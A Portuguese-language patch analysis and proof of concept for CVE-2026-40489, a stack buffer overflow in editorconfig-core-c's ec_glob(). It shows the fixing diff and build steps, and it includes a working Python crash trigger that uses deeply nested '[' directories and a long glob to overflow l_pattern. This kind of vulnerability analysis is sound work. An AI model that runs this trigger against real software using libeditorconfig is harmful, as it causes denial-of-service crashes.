
Prova de conceito e análise de patch para CVE-2026-40489, um estouro de buffer na pilha em editorconfig-core-c ec_glob(), com etapas de compilação e um gatilho de crash em Python.
Descrição do NIST sobre a CVE:
editorconfig-core-c is an EditorConfig core library for use by plugins supporting EditorConfig parsing. Versions up to
and including 0.12.10 have a stack-based buffer overflow in ec_glob() that allows an attacker to crash any application
using libeditorconfig by providing a specially crafted directory structure and .editorconfig file. This is an incomplete
fix for CVE-2023-0341. The pcre_str buffer was protected in 0.12.6 but the adjacent l_pattern[8194] stack buffer received
no equivalent protection. On Ubuntu 24.04, FORTIFY_SOURCE converts the overflow to SIGABRT (DoS). Version 0.12.11 contains
an updated fix.
clone ambas as versões:
git clone https://github.com/editorconfig/editorconfig-core-c.git
cd editorconfig-core-c
# vulnerable build (parent of the fix)
git worktree add ../ec-vuln b4724e4
# patched build (the CVE-2026-40489 fix)
git worktree add ../ec-fixed 5159be8
faremos o diff:
git -C editorconfig-core-c diff b4724e4 5159be8 -- src/lib/ec_glob.c
O diff:
diff --git a/src/lib/ec_glob.c b/src/lib/ec_glob.c
index 18f98c1..8b1613f 100644
--- a/src/lib/ec_glob.c
+++ b/src/lib/ec_glob.c
@@ -96,8 +96,12 @@ int ec_glob(const char *pattern, const char *string)
_Bool are_braces_paired = 1;
UT_array * nums; /* number ranges */
int ret = 0;
+ size_t pattern_len = strlen(pattern);
- strcpy(l_pattern, pattern);
+ /* Reject patterns that would overflow l_pattern in the copy below. */
+ if (pattern_len >= sizeof(l_pattern))
+ return -1;
+ memcpy(l_pattern, pattern, pattern_len + 1);
p_pcre = pcre_str + 1;
pcre_str_end = pcre_str + 2 * PATTERN_MAX;
old code was one line:
strcpy(l_pattern, pattern);
copia bytes até encontrar um terminador nulo, sem se importar com o tamanho do destino. Se pattern for maior que 8194 bytes (2 * PATTERN_MAX), ele escreve além do fim de l_pattern e na pilha.
a correção faz três coisas:
strlen(pattern) obtém o comprimento antes de copiar qualquer coisa-1 em vez de copiar. O >= (e não >) importa porque você também precisa de espaço para o terminador nulo.memcpy em vez de strcpy como o comprimento já é conhecido, não há motivo para percorrer a string novamente. memcpy copia exatamente pattern_len + 1 bytes (o +1 inclui o terminador nulo).vamos compilar o binário e garantir que funciona:
rm -rf build
mkdir build && cd build
cmake .. -DBUILD_SHARED_LIBS=OFF && make
PoC:
import os
import subprocess
import shutil
base = "/tmp/dummy-config"
nested = base
while len(nested) < 2100:
nested = os.path.join(nested, "[" * 200)
test_file = os.path.join(nested, "test.txt")
config_file = os.path.join(nested, ".editorconfig")
binary_path = "/tmp/editorconfig"
if os.path.exists(base):
shutil.rmtree(base)
os.makedirs(nested, exist_ok=True)
open(test_file, 'w').close()
# ~2100 char path of '[' escapes to ~4200 + 4000 char glob = ~8200 > 8194
glob_pattern = "A" * 4000
with open(config_file, 'w') as f:
f.write("root = true\n\n")
f.write(f"[{glob_pattern}]\n")
f.write("indent_size = 2\n")
res = subprocess.run([binary_path, test_file], capture_output=True, text=True)
if res.returncode == -6:
print(f"[+] vulnerable sigabrt (return code: {res.returncode})")
elif res.returncode < 0:
print(f"[+] crashed signal {-res.returncode} (return code: {res.returncode})")
else:
print(f"[-] not vulnerable (return code: {res.returncode})")
O binário procura .editorconfig na pasta onde o .txt está localizado e lê o padrão glob a partir dele.
você executa editorconfig /tmp/dummy-config/[[[[[.../test.txt, o binário precisa corresponder o nome do arquivo ao padrão glob do .editorconfig; para isso, ele constrói um padrão completo como: /tmp/dummy-config/\[\[\[\[.../**/AAAA.... Ele prefixa o caminho do diretório ao glob para poder corresponder ao caminho completo do arquivo.
[ significa algo na sintaxe glob (é uma classe de caracteres, como [a-z]). O diretório tem literalmente [ em seu nome, não é pretendido como glob. Então o código escapa cada um com uma barra invertida: [ → \[. Isso significa "[ literal, não um glob." O editorconfig.c faz isso automaticamente. Quando ele lê o caminho para o seu arquivo .editorconfig, ele percorre cada caractere e, se encontrar qualquer caractere especial de glob, insere um \ antes dele. Isso acontece antes de o caminho chegar a ec_glob()
Cada [ no caminho ganha um caractere extra. 2100 caracteres tornam-se ~4200. Adicione o glob de 4000 caracteres por cima e essa string é passada para ec_glob(), que faz strcpy(l_pattern, pattern) em um buffer de 8194 bytes. 8203 > 8194, o que significa que ele escreve além do buffer.
no Linux moderno com FORTIFY_SOURCE, o runtime detecta a sobrescrita e mata o processo com SIGABRT (sinal 6). O Python vê isso como código de retorno -6, código de retorno -6 significa que é vulnerável, 0 ou 1 = corrigido (a correção adiciona uma verificação de comprimento antes da cópia e retorna -1 se for muito longo)